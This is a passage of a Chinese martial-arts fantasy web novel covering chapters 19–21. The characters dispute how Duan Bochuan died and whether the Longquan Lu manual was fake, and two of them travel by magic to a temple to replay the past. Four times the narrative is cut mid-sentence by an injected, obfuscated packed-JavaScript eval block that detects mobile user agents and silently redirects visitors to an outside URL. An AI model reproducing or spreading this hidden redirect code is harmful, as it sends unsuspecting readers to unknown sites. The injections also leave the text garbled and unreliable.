向浊听到此话,有些不解,迟疑道:“身上有几处,但没有一处是致命的。” 宁云盯了他半晌后,语气十分嘲讽地说:“我是说,那个地方。”随后用眼神瞥了一眼向浊的某个部位。 崔羽落大为震惊,忍不住问道:“前辈,你——” 但“你怎么知道”这种问题,好像有些冒昧。 她颇为尴尬地住了嘴,却见宁云看向了她,问道:“你是想说,我怎么知道?” 崔羽落简直想掐死刚才管不住嘴的自己,找补道:“不是,我是想问,前辈你方才受了伤,这会儿身体可还好?” 话音刚落,崔羽落已经觉得更尴尬了。 果不其然,宁云冷笑一声:“关你屁事。” 向浊神情凝重:“宁长老,此话何意?” 宁云答道:“字面意思。怎么,你难道没看见?” 向浊没有回答。 宁云冷冷道:“他这两年在练功,练的功法是《龙泉录》,是也不是?” 向浊顿了顿,答道:“是。” 宁云道:“前些年江湖众人跟疯了一样抢夺这东西,好巧不巧,我也见过一次。它的第一页上写了八个字。” 崔羽落隐隐猜到了是哪八个字。 向浊沉默不语。 赵之闻却插话道:“欲练此功,必先自宫?” 宁云笑了一声:“是。我看段泊川那厮是练功走火入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480746|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔了,连这种事情都能做出来。赵之闻,你说是这样吗?” 向浊皱眉道:“这与赵前辈有什么关系?” 宁云道:“《龙泉录》早年失踪,直到几年前出现在了他手上,所以对这功法,他大概很清楚。” 几人的目光转向赵之闻,却见他不慌不忙地从怀中取出一物。 是一本破旧的书。 随着他手上动作,几人看清了书上的几个字。 ——龙泉录。 赵之闻问道:“你们是说这个吗?” 向浊和宁云不可思议地盯着他手上的东西。 崔羽落问道:“前辈,莫非此书这些年来,一直都在你手上?” 赵之闻叹了口气:“我几年前就已经不再过问江湖事了,竟不知……这功法被传成了那样。” 宁云忽然哈哈大笑:“真是愚蠢啊。所以说,练这功法,根本不需要自宫?” 赵之闻翻开一页,展示给众人:“是的。” 崔羽落问道:“几位前辈,那本假的秘籍,又是怎么引起众人争夺的呢?” 赵之闻道:“恩怨情仇的,几句话讲不清楚。总不过是有人想变强,有人想寻仇,有人脑子有毛病而已。” 向浊缓缓道:“我们寻找大哥的时候,不仅看到了印记,还听到了些传言。” 宁云道:“我们清龙帮的人杀了段泊川的传言?” 向浊道:“确实如此,但我认为此事有蹊跷,因此便想找宁长老询问,不料在路上有些耽搁,才叫于应鸿带着一些人伤了贵帮的弟子。此事是我之过,来日必带着于应鸿上门赔罪。” 宁云冷哼了一声,不答话。 崔羽落问道:“不知前辈在路上是被何事耽搁了?” 向浊答道:“在路上遇到一男一女,那女子看上去像是被强行带走的,我去问的时候,那男子却只是说他的妻子脾气不太好。” 崔羽落想起了张束和白渟,便追问道:“然后呢?” 答话的却是宁云:“我也见过,后来发现是那群修仙的人,我便再没过问了。修仙之人和我江湖之人素来泾渭分明,修仙之人的破事当然要修仙之人解决。” 崔羽落问道:“前辈,你们是在何处遇到的这事?” 宁云看了一眼她:“多管闲事的小毛丫头。你若是闲得慌,可以往西南走走。” 赵之闻道:“二位,可否听我一言。” 向浊答道:“前辈您说。” “前些日子,我曾在段泊川濒死之时见过他一面。” 宁云道:“既然如此,为何不早说?” 赵之闻有些无奈地笑道:“先前没机会插话啊。他确实是走火入魔死的,但之所以走火入魔,是因为和人动了手。” 宁云道:“和人动手?寻常人怎么能逼得他走火入魔?” 崔羽落看着向浊,问道:“前辈,先前的传言,你可知是何人散播出去的?” 向浊目光沉了沉。不待他回答,赵之闻忽然开口。 “他是要来问我的剑,因此,为了能击败我,在见我之前就强行运功以在短期内提升功力。” 宁云盯着他道:“你现在倒是坦诚。” 赵之闻笑笑:“我一直都很坦诚。在路上,段泊川强行运功,又遇到了仇家,便动了手。然后嘛,毕竟那秘籍是假的,他又强运功力,这样一来便走火入魔,心脉承受不住那凶悍力道,人就不行了。” 宁云忽而又吐出一口血。 崔羽落离她近,上前两步扶住了她,却发现她的身躯失了力,整个人倚靠在了崔羽落身上。 崔羽落想起赵之闻所说的话,又想起先前宁云强行运功以击杀赵之闻,心道一句糟糕,便从自己抵在宁云后心的那只手运起灵力。 其他两人只道她扶着宁云,而不知她暗中以灵力替宁云疗伤。 片刻后,宁云睁开眼,有些疲惫地笑了笑,从崔羽落手中挣开,向外一步。 崔羽落道了句“前辈”,见宁云的目光绕了一圈,又落在了自己身上。 宁云注视着她,忽然笑了。 崔羽落被她看得头皮发麻,正要问为何这样看她,宁云忽然伸手握住了她的手。 一股浑厚内力自那只手传入体内,崔羽落大惊之下,见眼前人目光柔和,缓缓开口。 “一切皆因赵之闻而起,如今我时日无多,就请姑娘念及你我同路之情,替我,将此仇了结了吧。” 19. 旧恨 崔羽落反手轻扣住宁云的手腕。 “前辈……” 向浊和赵之闻俱转向二人。 崔羽落看着宁云:“前辈几十年功力,晚辈何德何能。” 宁云笑了笑,道:“百年修得同船渡,你在客栈中救我一次,有何不敢?” 崔羽落顿了顿,神色凝重道:“在下本是一介流浪客,只想与山水日月为伴,平淡度过此生,不曾有什么称霸江湖的雄心壮志。先前之事原是我莽撞,却不料误打误撞,得见诸位武林名宿风采。” 她面容平静,内心却暗暗吐槽:这装模作样的话可真不好说。 酝酿了一下言辞,她继续道:“诸位前辈的故事,在下虽不是江湖中人,但也有所了解,一直钦佩不已。今日有幸在此相遇,也算是圆了在下的心愿。至于其它,在下实在是……” “实在”了半天,她编不出了。 真是书到用时方恨少。 其他几人只道她言辞真切,纷纷点了点头。 赵之闻看向宁云:“既然想找我报仇,何不留着性命以后再来?” 宁云愣了愣。 赵之闻微微笑道:“你虽已强行运功,但若是及时寻人救治,还是可以好好活许多年的。这些年里,你自可练功磨刀,琢磨取我性命之法。” 宁云并不回答,只是沉默地注视着他。 赵之闻看了她半晌,忽然动了动嘴角,眼中却无甚笑意。 几人沉默了片刻,向浊似是有话要说,宁云忽然哈哈大笑。 她苍老的面容被笑容扯得沟壑纵横,凌乱的银发于夜色下颤动,在月光映照下宛如沾了灰的陈雪。 笑了许久,她喑哑道:“赵之闻,你别在那装模作样了,那《龙泉录》和你没关系,傻子才信。” 赵之闻看着她道:“你只是自欺欺人,不愿相信罢了。” “不愿相信什么?难不成是不愿相信几年前那些人那么蠢,为了一个假秘籍争来斗去?” 赵之闻目光闪烁一瞬,随后平和落于宁云脸上:“段泊川死前,和我说了几句话,你要听一听么?” 崔羽落心道:怎么这些不知死活的挑战者赴死时都有话和他说呢?这赵之闻与其说是深不可测的高手,不如说是江湖人的真心话收集簿。 向浊眸光一亮,显然是想听,但看到赵之闻自始至终对着宁云,便讪讪将滚到嘴边的话咽了下去。 宁云冷笑一声:“不想。抢假秘籍、挥刀自宫、走火入魔,如此神志不清的蠢货,留下的话纵使蠢得惊天动地,也只会吸引那些和他一样蠢的人。” 向浊表情一僵,低声道:“宁长老,死者为大。” 宁云扫他一眼,冷哼一声,转向赵之闻:“如今我有一事想问问你。” “何事?” “那假《龙泉录》先前引得那么多人赴死,如今看来不过一场闹剧。”宁云顿了顿,“我想看看真的《龙泉录》。” 向浊怔然道:“长老……” 宁云笑了笑:“看一眼而已,我对那东西没什么兴趣。” 赵之闻不甚在意地将书册扔给宁云,宁云将它拿在手中,缓缓翻动,书页随着她手中动作脆生生地作响。 她闭了闭眼,而后嘲讽地笑笑:“就这么一个东西,让那么多人为之丧命。” 崔羽落站在一旁,忽然想起先前赵之闻说过的话。 ——“总不过是有人想变强,有人想寻仇,有人脑子有毛病而已。” 赵之闻接过宁云扔回的《龙泉录》。下一瞬,变故陡生。 一块不显眼的东西倏然击中书册,陈旧干枯的书页受不住力道,霎时碎为齑粉。那些粉末随着方才的力道向赵之闻扑去,与此同时,宁云消失在原地。 她以身为剑,以掌为刃,利箭般袭向赵之闻。 赵之闻轻轻抬手,那些裹挟着无穷杀机的粉屑转而飞向宁云。 宁云毫无反应,仍然不顾一切地要将赵之闻置于死地。 在千钧一发之际,崔羽落果断掠向二人,以身为盾,将那些暗器般的粉末尽数挡下。 向浊惊呼一声“姑娘”,便见三人止了下来。崔羽落立于二人间,一手扣宁云肩,一手接赵之闻掌。 那些粉末扑在她后背,她似乎毫无感觉。 “两位前辈莫要冲动,事情还未说清,何必急着动手呢?” 宁云被她按着,难以移动,脸上阴恻恻地一笑,音色沙哑:“未说清?新仇旧恨我已尽数知晓,今日我和他非得有一个人死在这!” 崔羽落微微垂眸,和她对视。 “前辈,”她声音平缓轻柔,目光却坚定冷静,“我知你爱憎分明有仇必报,但……命是自己的,人既死,纵使有人再为他拼死报仇,也不能再活过来了。” 她话音似有所指,宁云默然笑了笑,没有说话。 赵之闻听得此话,神情微微一动,而后道:“向舵主。” 向浊应道:“前辈。” “先前我在如家客栈附近见到你凌霄会的人,如今情况已平息,你不妨去看看是哪些人对清龙帮下此狠手。” 向浊一愣,知这是要让他暂避,便应了一声,轻身向远处掠去。 崔羽落看向他离去的方向,心中忽然想起某个人。 ——他先前似受了伤,不知现在如何了。 出神时,赵之闻忽然出手,凌空一点,宁云便觉浑身僵硬,怒道:“赵之闻!” 赵之闻道:“你不想听,我偏要让你听。” 说罢,他盘膝坐下。崔羽落在他对面扶着宁云坐了下来。 赵之闻道:“段泊川死前对我说,他一直想取我性命,但终究无法如愿。” 崔羽落有些困惑,赵之闻看到她的表情,笑了笑道:“他一直以来都想变强,为此无所不用其极,甚至连《龙泉录》那样的功法都练了。” 顿了片刻,他补充道:“我说的是江湖上流传的那个假的。” 宁云冷笑一声道:“段泊川自从血洗了遮阳山庄,就已经疯癫得厉害了。” 崔羽落一头雾水:“遮阳山庄?” 宁云道:“他先前为了拿到遮阳山庄的剑谱,不惜入赘,成了当时遮阳山庄大小姐夏侯锦的赘婿。后来眼见自己这赘婿被山庄的人瞧不起,拿不到剑谱,就丧心病狂地把所有人都杀了,一只鸡都没有留下。” 赵之闻道:“我听说在那之后,他加入了凌霄会。他原本因遮阳山庄一事被众侠士追杀,但加入凌霄会后,他参与剿灭了当时的魔教,就鲜少有人提那事了。” 宁云从鼻孔里哼了一声:“这江湖每天都有人丧命,那些侠士天天忙得要死,多见几次冤冤相报的烂事,自然就忘记了段泊川。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488898|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 赵之闻看了看她:“段泊川死前说,他这辈子是杀不了我了,但在那之后定会有人来取我性命。” 宁云眯了眯眼:“这是自然,这些年来想杀你的人还少吗?真是祸害遗千年。” 赵之闻忽然正色道:“宁长老,你当真想要我死?即使舍了性命,也要杀我?” 宁云答道:“自然。” 赵之闻伸手解开了宁云的穴道,而后微微躬身:“既然如此,不知在下能否向长老问一剑。” 宁云缓缓起身:“问剑?我用了这么多年的刀,何来‘剑’之一说?” 赵之闻从腰间解下一物,而后用双手托着它。 崔羽落和宁云看到那东西,不约而同地一愣。 崔羽落心想:传闻中可以藏于腰间的软剑,今日居然亲见了。 宁云神情晦涩,只盯着那把剑,沉默不语。 赵之闻道:“这把剑是段泊川先前所用,宁长老大概已经认出。” 宁云干巴巴地说:“那又如何?” 赵之闻伸长手臂,那剑离二人又近了几寸。 “段泊川死前和我说,想要我死的人很多,但如他一般义无反顾,九死无悔的人却不多。” “他说,若是遇到下一个这样的人,就把这把剑递到那个人手中。” “不知在下是否有幸,能一睹——” 宁云抬眼盯着他。 “——宁长老的、照雪剑呢?” 崔羽落深吸一口气,小心地问道:“前辈,这照雪剑又是何方神圣?” 赵之闻的目光从宁云僵硬的脸上移开,带着笑意看着崔羽落,解释道:“这照雪剑原本是流云山庄的武功,但随着二十几年前流云山庄被灭,就不曾有人见过了。直到十几年前,凌霄会新任总舵段泊川在剿灭魔教之战中成名,大家才知照雪剑还未失传。” 崔羽落看了看宁云:“那……” 赵之闻似是知晓她的疑惑,便道:“段泊川死前还告诉了我一件事,那就是清龙帮的宁长老,原是流云山庄弟子。也就是说,一向厌恶他的宁长老,其实是他的师妹。” 宁云的面容缓了缓,而后瞥了一眼赵之闻,道:“是。那又如何?当年流云山庄被屠,他自己跑了,其他人全部惨死。我好不容易保住性命,养好伤醒过来,便见他已经人模人样地与那遮阳山庄的夏侯小姐成了婚,装模作样地给武林众人端茶倒酒,真是风光无限、春风得意啊!” 她忽而伸手拔出赵之闻手中剑,道:“你既要问我的剑,那便废话少说,快些动手吧。” 赵之闻向前几步。 宁云蓦然出剑,剑光如雪,身形如风。赵之闻则以双拳应对。 崔羽落看得眼花缭乱。 几十招过后,她忽然听见一个突兀的声响。定睛一看,却见那两人已经停手。 宁云手中剑竟已断为两截。 她看着手中的半截剑,低笑两声:“真是不中用。” 但下一瞬,崔羽落发现她脸色骤变。 “前辈……” 宁云从剑刃断开处挑出了一张纸。那张纸被人对折几次,又被宁云缓缓打开,它十分破旧,仿佛稍微用力便可化为齑粉。 她捏着那张纸,静默良久。 那张纸的右上角,是两个工整秀气的字。 ——“阿云”。 20. 流云 宁云面容僵硬地扫过那张纸,低低笑了两声,抬起头:“果然是亏心事做多了,遗言早就写好了。” 她又“哈”地笑了一声,指间捏着那张纸,却不再细看。 她看向赵之闻,依然是一副谁也没放在眼里的表情:“他留下这些又有什么意义呢?人都死了,有些话这么多年没说出来,又何必死之后留给活人。” 随后指间用力,那张纸转瞬碎成了千万片。泛黄纸屑纷纷扬扬,落了满地。 崔羽落怔然看着她。 赵之闻平静道:“人之将死,其言也善。但若是听者无意,说者再是有心也是无用。” 宁云冷笑一声,并不答话。 赵之闻忽然道:“段泊川走火入魔之前,就已身中一种名叫‘蚀心’的毒。这种毒长年累月于经脉潜伏,很难察觉亦无法医治,但会逐渐侵蚀中毒者的意识。而此毒乃遮阳山庄独家秘制,自遮阳山庄被段泊川灭门,就已在江湖上销声匿迹。因此我猜,是他在遮阳山庄的时候中的毒。” 宁云默然伫立,仿佛周遭的动静都与她无关。 崔羽落疑惑道:“但……遮阳山庄为何要给他下毒呢?” 赵之闻若有所思道:“大概是在忌惮他,因此下了这种无色无味又难以察觉的慢性毒。但可惜后来还是被他灭了满门。我虽不怎么过问江湖事,但也非闭目塞听,段泊川此人心气极高,又睚眦必报,想必在遮阳山庄的那些年,让他生了恨意,从而寻得时机报仇解恨。” 崔羽落点点头。 赵之闻又道:“离开遮阳山庄后,他就投奔了凌霄会,步步为营成为总舵主。而在这些年,他热衷于和人打赌,怎么赌呢?自然是真刀真枪地比试,若是对方输了,便将所学的最强武功传授给他,若是自己输了,就自绝经脉退出江湖。” 崔羽落睁大眼睛:“自绝经脉?为何对自己如此心狠?” 赵之闻答道:“段泊川的打法凌厉凶狠,常常伤敌一千自损八百。但话说回来,这样舍命的打法,竟使他这么多年无一败绩。” 崔羽落沉吟道:“他这样一来,又得到了许多绝学武功。但想必那毒在这些年里渐渐开始发作,或许……就更容易走火入魔了?” 赵之闻道:“可能有一些原因,但那流传的假秘籍本就容易让人走火入魔。” 崔羽落盯着亭外的草木,缓缓道:“段前辈在前去挑战您的路上遇到了仇家,然后走火入魔死了。但为何传出来的是……他是被清龙帮害死的呢?” 赵之闻哈哈一笑:“这是他自己要传出去的。” 崔羽落疑道:“为何?” 忽然有两个身影疾掠而来,落在凉亭边。其中一人正是向浊,另一人则是个面生的中年男子。 向浊拱手道:“宁长老,对贵帮贸然出手,是我凌霄会不对。” 他身边的中年男子忽然道:“屁!” 先前一直沉默的宁云忽而向前几步,走到那男子面前:“于应鸿,我看你才是个屁。” 于应鸿声音粗犷,眯眼看了看她:“要不是你们清龙帮送来的假《龙泉录》,我大哥怎么会走火入魔!” 宁云冷笑道:“我清龙帮送去的?我找人在你面前拉屎你吃不吃?段泊川练功练成了个傻子,我看你还要更蠢一筹。” “你这个——” 宁云打断了他的话:“况且那《龙泉录》怎就成了我清龙帮送去的了?” 于应鸿正要应答,向浊先开了口:“宁长老,先前《龙泉录》在众人争抢时分为两半,数年前段大哥确是从河西六侠手中抢到了下一半。但那上一半,你可知它在何处?” 宁云摇了摇头:“我只听闻下一半先前下落不明,直到段泊川不知从哪找到了它,然后……” 向浊望着她。 “然后就听说他挥刀自宫了。”宁云道,“实在是蠢得离谱。” 向浊缓缓道:“段大哥是在三年前得到那上半部《龙泉录》的。” 宁云听到“三年前”,忽然变了眼神。 向浊继续道:“我问他是从何处得到的,他却从不回答。我推算了时间以及他的行踪,发现他那段时间里见过一些人。其中一次,则是孤身一人去了一处荒僻的山神庙。而那座山神庙,就在曾经的流云山庄附近。” 赵之闻道:“流云山庄?” 向浊点头道:“是。大哥少年时曾在流云山庄习武生活,但那次为何独身前往,又偏偏是在已经不复存在的流云山庄附近,我便猜测,会不会是因为见的,是一个特殊的人。” 赵之闻略加思索:“三年前……若我没有想错,那个时候,段泊川的头脑就已经不太好使了吧。” 向浊道:“是。大哥那时偶尔会神志不清说胡话。” 崔羽落听到“胡话”二字,猜测段泊川定是在别人面前说过什么隐秘的事情,便问道:“他可曾说过……和流云山庄有关的事情?” 向浊答道:“未曾在我面前说过,但自他从山神庙回来后,当天晚上便忽然开始发病。当时我正和他交谈,他却蓦地倒地,我扶他上了床,他躺下后则说了一句话。” 崔羽落问道:“什么话?” “‘他是我和她的儿子’。” 崔羽落听到两个不明所以的“他”,有些困惑,宁云却冷哼一声道:“一个走火入魔之人痴呆着说胡话,你还把那当作什么秘密,实在是愚蠢。” 向浊呼出一口气,面容沉在暗处,有些晦暗不明:“我当时只道大哥一直以来不近女色,怎么会有孩子。震惊之下我便追问,和谁的儿子,儿子又是谁。” 崔羽落道:“他回答了么?” 向浊的目光停在远处,语气有些发涩:“他忽然伸手抓住我,然后一遍遍地重复一句话。” 宁云问道:“什么话?” “她恨我。” 几人又陷入短暂的沉默。 片刻后,崔羽落开口道:“所以,那天段舵主去山神庙见的人,是他一直以来未曾相认的亲生儿子。而那孩子的母亲因为某些原因,一直以来怨恨着他。但三年前他儿子又去见了他,因此……向大侠,你们觉得是那女人令她的儿子去约见段舵主,给了他假的秘籍,然后使他走火入魔,最终惨死了么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494447|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除此,有句话崔羽落没有说出来。 ——那孩子的母亲,大概就是宁云。 于应鸿粗声粗气道:“那个女的正是清龙帮的宁长老。她一直以来怨恨我们段大哥,然后让她的儿子去演一出父子相认的戏码,恶心巴拉地惺惺作态一番,再拿出那假秘籍。可怜大哥情深义重,被你们二人蒙骗,最后被你们害死。我大哥临死时,终于认识到你们母子二人的真面目,才将真相说了出来,宁云,还不快还我大哥命来!” 宁云愣了片刻,忽然哈哈大笑。 “来啊!我还会怕你?” 于应鸿掌风迫近,宁云姿态轻盈翻身躲过,仿佛先前受的伤丝毫没有影响她的行动。 两人身形交错,转眼已过了十几招。 一声闷响后,于应鸿向后飞了出去,宁云稳稳立于原地,嘲讽道:“蠢。你伤我那么多帮众,我还没向你索命,你倒是先恶人先告状了。” 向浊前行几步,扶起倒地吐血的于应鸿,抬头道:“宁长老,对于三年前的事,你可有什么要说的?” 宁云道:“你们这么相信一个神志不清之人说的胡话,我自然是无话可说。” 随后她倏然转身,向远处掠去。而赵之闻瞬间已追至她眼前,扣着她的肩膀,好声好气道:“宁长老,我不相信那胡话,不知长老可愿与我说说?” 宁云冷冷道:“不愿。” 话虽如此,她转身面向几人,没有要离开的意思了。 向浊却死死盯着某个地方。 崔羽落问道:“向大侠,那里可是有什么东西?”她随着向浊的目光看向那一处,却只见凉风微动,草木沙沙,并无异常。 她心想着向浊不愧是武林高手,五感直觉强于寻常人。 不对。 五感? 她悄然运气,某种细微但绵长的灵流渐渐浮现,于夜色中缓缓指向某处。 她看着那处,暗笑一声。 随后她看着向浊道:“大侠,那里并无什么异常啊?” 向浊终于收回目光,缓缓道:“大抵是我看错了。” 崔羽落在众人的沉默中开口道:“此事的关键便是段大侠在山神庙会见的那个人,若能知晓二人在那一天说了什么、做了什么,便可推测出更多的东西。” 向浊苦恼地说:“可问题就是没人知道啊,天知地知大哥知那‘儿子’知。” 崔羽落轻声道:“既是山神庙,想必磁场强大,换句话说就是灵气充沛。” 向浊未能听清,便蹙眉问道:“什么?” 崔羽落微笑道:“我知道有一种秘术,可通过设阵来重现先前的情景,我想……或许我能一试。” 赵之闻道:“什么东西?” 崔羽落神秘地说:“跳大神儿的。” 在几脸疑惑中,崔羽落拱手告别:“晚辈先去探查一下,几位前辈可以继续聊。我会尽快回来,告辞了。” 语毕,她脚步轻快地远去,很快便消失在几人的视野中。 到了一棵树下,她回头看着虚空中的一点,挑眉道:“隐身符可真好用。” 21. 神庙 虚空中传来慕惊弦的声音:“是啊,你要试试么?” 崔羽落道:“还是留着以后用吧,现在来看,不隐身也没什么。” 那片浓稠夜色中缓缓泛起流光,崔羽落看着慕惊弦的身形逐渐显现出来,问道:“房间里的那个黑衣人怎么处理了?” 慕惊弦回道:“设了一个法阵,让他没法逃出去。” 崔羽落略加思考,问道:“若是有人破了阵法,把他救出去了怎么办?” “应该不会吧,我还用了隐身符,若是有人进了门,大概不会想到那里还有一个大活人。” “噢噢,”崔羽落向前了几步,问道,“你也听到了那些话,你怎么想?” “我么?”慕惊弦顿了顿,笑道,“宁云的儿子把上半本假秘籍给了段泊川,段泊川再去练功,然后走火入魔死了。清龙帮的人认为是宁子盈害死了段泊川,但实际上,在段泊川走火入魔死之前,没有人怀疑过那秘籍有问题。” 崔羽落想了想,道:“说不定宁子盈是真心实意地想把那半本《龙泉录》献给段泊川呢,但谁知那秘籍是个盗版,反而让他惨死了。我觉得那些人之所以把段泊川之死扣到清龙帮头上,主要是因为段泊川死之前让人传出是清龙帮害死了他的话,但他为什么要这样做呢?” 慕惊弦道:“可能是因为他神志不清了许多年,临死前才恍然大悟地认为是宁子盈要害死他,想要让凌霄会为他报仇。” “方才我觉得,若是去一下流云山庄附近的那座山神庙,或许可以通过阵法来探查一下当时的情况。”崔羽落看了看地上稀疏的荒草,“现在……又忽然觉得,我有些多管闲事。我们本来出来是为了寻找郑夫人,如今却在这里捋那些江湖的陈年旧事。” 她打了个哈欠:“或许一开始我们就应该在客栈里睡觉的,唉。让我想想我们是怎么忙到现在的……” 慕惊弦见她看着前方,无声地笑了笑,在落她半步的地方注视着她。 他的目光划过她束发的簪,经过她有些凌乱的发,缓缓落在她被碎发掩了小半的耳朵上。 看了许久,他心想:为何感觉缺了什么东西? 崔羽落思索了片刻,道:“最开始,是你戾气发作,然后我帮你控制住了。再后来就是看到客栈起火,我就赶过去查看,然后遇到了沈临澄。我们一起回来的时候发现你不见了,就又去了你和那人贩子说话的地方。” 顿了顿,她继续说:“再后来,我们一起回到客栈,又遇到了那贩卖团伙来灭口的人,不过好在我们打退了他们。再再后来,就是白渟,我们听到她的呼叫,就跑出去查看,然后发现是那两个帮派在打架。” 她轻叹了口气:“我们被凌霄会的那些人怀疑是清龙帮的,又大/干了一架,回到客栈,发现客栈也成了他们打架的地方。再再再后来,宁云进了我们的房间,然后……就这样了。” 她侧过脸看向慕惊弦,却发现此人好像没有在听她说话。 二人忽然静默,在微凉夜风中看着对方。 片刻后,慕惊弦移开目光,点了点头:“没错。” 崔羽落暗笑一声,觉得此人大概是太过困倦,以致于脑子宕机神游天外。 两人又向前走了几步,慕惊弦不明不白地问了一句话。 崔羽落一时没听清,回头道:“啊?” 慕惊弦重复了一遍方才的话:“你没有耳洞么?” 崔羽落愣了片刻,而后小心翼翼道:“我……不能没有吗?” “自然可以。” 崔羽落不明所以,想起“正事”,问道:“听说流云山庄离这里挺远,所以你可不可以弄个阵法或者符咒的,把我们弄过去啊?” “你怎么就知道有这样的法术呢?” “你记不记得我们在地牢里的那一次?”崔羽落弯了弯眼睛,“你不就用了一个传送法阵把大家弄出去了吗?不过那一次比较近,但前几日我看书,书上说传送法术,本质上是在不同的位置建立起两个有联系的阵法,从而通过灵力流动,实现两个阵之间的跃迁。所以……无论远近,用的都是同一种阵法,是吧?” * 崔羽落走出灵力流转的阵法,山神庙就在眼前。 凉风拂面,树影森然。 先前清亮的月光忽而黯了下去,庙宇沉在黝黑的暗色中,显得有些阴森诡异。 她在一片浓稠的黑暗中,有些想念智能手机。 这时身后却渐渐亮起了微光,她惊诧转头,见慕惊弦凌空画下符咒,随后那符咒逐渐扩大,以二人为中心,缓缓亮了起来。柔光弥散开来,过处黑暗消退,景象现于眼中。 崔羽落转向那紧闭的门,从腰间取下刀,用刀鞘顶开了那扇门。 门内荒草萋萋,满目荒凉。 崔羽落看着眼前被光照亮了的环境,点头道:“真不错。” ——就是感觉他俩像个大灯泡。 慕惊弦道:“如果那几个人说得没错的话,应该就是这里。” 崔羽落环视周围,忽然问道:“既然如此,昨天我们为何不用传送法术?” 慕惊弦默了片刻,答道:“我以为你会喜欢。” 崔羽落一脸震惊:“喜欢?” “你我成婚那日,到了入睡之时,你仍不忘运动。因此我便想,既然你对运动如此热爱,那我若是用了法术,岂不是白白浪费了一次酣畅淋漓的运动机会么?” “……也对。” 随后,崔羽落运起灵力,感受着山神庙内的灵气流转。片刻后,她向一处走去。 她停了下来,慕惊弦在她身后问:“为何选择这里?” “这里是一个‘眼’。通过这个‘眼’,我们可以看到一些它知道的东西。”崔羽落环视周围,二人已进入庙内,她寻到的“眼”在一座香炉旁边,炉内香灰与尘土混杂,泛着陈旧阴郁的气息,“前几天在书上看到的。” 慕惊弦道:“这几天……你学了很多?” “也不是很多,就看了小半本,还是走马观花挑着看的。” “很厉害。” 语毕,慕惊弦伸手拢了些香灰,在附近几处分别撒了一点,而后在香炉内放了些先前折下的树枝。做完了这些,他在“眼”的位置站定,双手结印,低声念道:“着鞭方外,故人眼开。” 随后,崔羽落发现周遭起了变化。 两人身边的光消失了,但视野没有因此暗下去。冷白的日光从窗户中洒落地面,而窗外疾风呼啸,其中夹杂着一人的脚步声。 崔羽落凝神细听,压低声音道:“你猜这人是宁子盈还是段泊川?” 慕惊弦离开原地,他布下的香灰树枝不见了,取而代之的是比原先崭新了许多的地面以及从香炉中徐徐飘升的青烟。 “我猜是段泊川。” “为何?” “他更熟悉此地,早些到达,还能借此缅怀一下过去。” “有道理。” “没关系。” 崔羽落不解道:“什么没关系?” “郑夫人已经被找回,我们无需再顾虑其它。” “啊?这么快?” 慕惊弦点点头,随后迈步向前:“走,去看看。” 二人走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508316|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到另一个房间,地上散着几个蒲团。一个中年男子站在窗边,沉默着拂了拂衣袖上的叶片。 ——想必此人就是段泊川了。 段泊川在窗边默立了许久,二人又听到了另一个脚步声。 一个身穿箭袖长衫的少年迈步走了进来。他乌发高束,眉目清秀,腰间佩剑,身姿挺拔,与宁云三分相像。 他看到了窗边的段泊川,向他行礼道:“晚辈宁子盈,拜见段舵主。” 段泊川转过头,看了宁子盈半晌,而后缓缓开口:“不必客套,你有什么问题,尽管直说。” 宁子盈犹豫片刻,道:“段舵主以流云山庄的照雪剑闻名江湖。但流云山庄已消失二十年,直到段舵主在剿灭魔教一战中成名,众人方知流云山庄仍有幸存者。不知段舵主可知,是否还有其他同门存活呢?” 段泊川注视着他,答道:“没有。” 宁子盈有些紧张地盯着地面,抿了抿干涩的唇,又道:“先前我无意在家中发现了一个上锁的箱子,许是因为过了太久,那箱子竟自行裂开了。我原想将它修好,但……在挪动箱子的时候,从里面掉出了一样东西。” 段泊川问道:“什么东西?” 宁子盈抬眼与段泊川对视:“一柄剑,剑上写着‘照雪’二字。我听闻流云山庄的照雪剑法精妙绝伦,除此,山庄的铸剑工艺也是一绝。而照雪剑,则是流云山庄传了许多年的一把名剑。” 